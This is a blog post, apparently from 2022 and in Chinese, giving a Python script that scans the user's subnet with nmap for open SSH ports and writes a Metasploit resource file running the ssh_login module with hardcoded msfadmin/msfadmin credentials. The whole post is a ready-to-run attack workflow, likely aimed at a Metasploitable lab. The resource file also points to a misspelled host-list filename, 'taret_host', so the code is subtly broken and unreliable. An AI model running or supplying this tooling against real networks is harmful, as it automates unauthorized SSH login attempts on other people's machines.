利用Python自动化扫描网络并自动形成Metasploit的资源文件

  本代码实现:

    1.用户指定网卡,即可获得本网卡的子网信息

    2.对子网的所有主机进行nmap扫描,形成ssh主机列表,并将本机排除在外

    3.将相关的信息写入资源文件.rc.  这样msfconsole -r 资源文件.rc即可进行后续的操作

import subprocess
import optparse
import sys
import ipaddress
import netifaces
import nmap
import os

class MyMetasploit:
    def __init__(self) -> None:
        self.interface = self.get_params()
        self.attacker_ip = self.get_network()[0]
        self.netmask = self.get_network()[1]
        self.ssh_hosts = []
        self.resource_filename = 'ssh_login.rc'
        self.ssh_username = 'msfadmin'
        self.ssh_password = 'msfadmin'


    def get_params(self):
        parser = optparse.OptionParser()
        parser.add_option('-i', '--interface', dest='interface', type='string', help='Specify interface')
        options,args = parser.parse_args()
        if options.interface is None:
            print("Specify interface to wrok")
            sys.exit(0)
        return options.interface

    def get_network(self):
        attacker_ip = netifaces.ifaddresses(self.interface)[2][0]['addr']
        netmask = netifaces.ifaddresses(self.interface)[2][0]['netmask']
        return attacker_ip, netmask
    
    def get_ips(self):
        network_obj = ipaddress.ip_interface(self.attacker_ip +'/' + self.netmask).network
        return network_obj.with_prefixlen
    
    def ssh_hosts_identfication(self, ips):
        scanner = nmap.PortScanner()
        result = scanner.scan(hosts=ips, ports='22')
        print(result)
        if not scanner.all_hosts():
            print("No ssh host is found")
        for host in scanner.all_hosts():
            if host != self.attacker_ip:
                if result['scan'][host]['status']['state'] == 'up':
                    if result['scan'][host]['tcp'][22]['state'] == 'open':
                        self.ssh_hosts.append(host)

    def generate_ssh_file(self):
        self.ssh_hosts_identfication(self.get_ips())

        print(self.ssh_hosts)
        with open('target_host', 'w') as f:
            for host in self.ssh_hosts:
                f.write(host+'\n')
    
    def build_metasploit_resource_file(self):
        self.generate_ssh_file()
        resource_name = 'ssh_login.rc' 
        f = open(resource_name, 'w')
        set_module = "use auxiliary/scanner/ssh/ssh_login \n"
        set_user = "set username " + self.ssh_username + "\n"
        set_pass = "set password " + self.ssh_password + "\n"
        set_rhosts = "set rhosts file:" +os.getcwd()+'/taret_host' + "\n"
        set_rport = "set rport " + str(22) + "\n"
        execute = "run\n"
        f.write(set_module)
        f.write(set_user)
        f.write(set_pass)
        f.write(set_rhosts)
        f.write(set_rport)
        f.write(execute)
        f.close()


if __name__ == "__main__":
    mymetsploit = MyMetasploit()
    mymetsploit.build_metasploit_resource_file()
        
     

    

 

posted @ 2022-05-25 18:46  Jason_huawen  阅读(95)  评论(0编辑  收藏  举报